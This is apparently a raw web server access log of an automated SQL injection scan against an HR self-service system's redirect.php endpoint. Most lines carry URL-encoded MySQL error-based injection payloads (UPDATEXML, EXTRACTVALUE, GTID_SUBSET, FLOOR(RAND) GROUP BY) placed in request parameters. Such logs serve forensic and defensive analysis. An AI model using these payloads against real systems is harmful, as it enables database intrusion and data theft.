100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x576d6b5a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x624e736f%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x576d6b5a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x624e736f%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4c49686b%2C%28NULL%29%2C0x5a704261%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4c49686b%2C%28NULL%29%2C0x5a704261%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x61665435%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a644d6e%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x61665435%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a644d6e%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6f6c7661%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5059557a%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6f6c7661%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5059557a%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x41797265%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35483150%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x41797265%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35483150%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6b416d66%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75464761%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6b416d66%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75464761%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x46707132%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48427759%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x46707132%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48427759%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x454e7142%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57545a31%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x454e7142%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57545a31%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x49573472%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61544243%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x576d6b5a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x624e736f%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x475a7772%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4157644e%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x475a7772%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4157644e%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4437524c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x625a3578%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4437524c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x625a3578%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x72495943%2C%28NULL%29%2C0x65566866%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x72495943%2C%28NULL%29%2C0x65566866%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x46446356%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70364f77%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x46446356%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70364f77%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6c714b4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58533376%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6c714b4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58533376%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
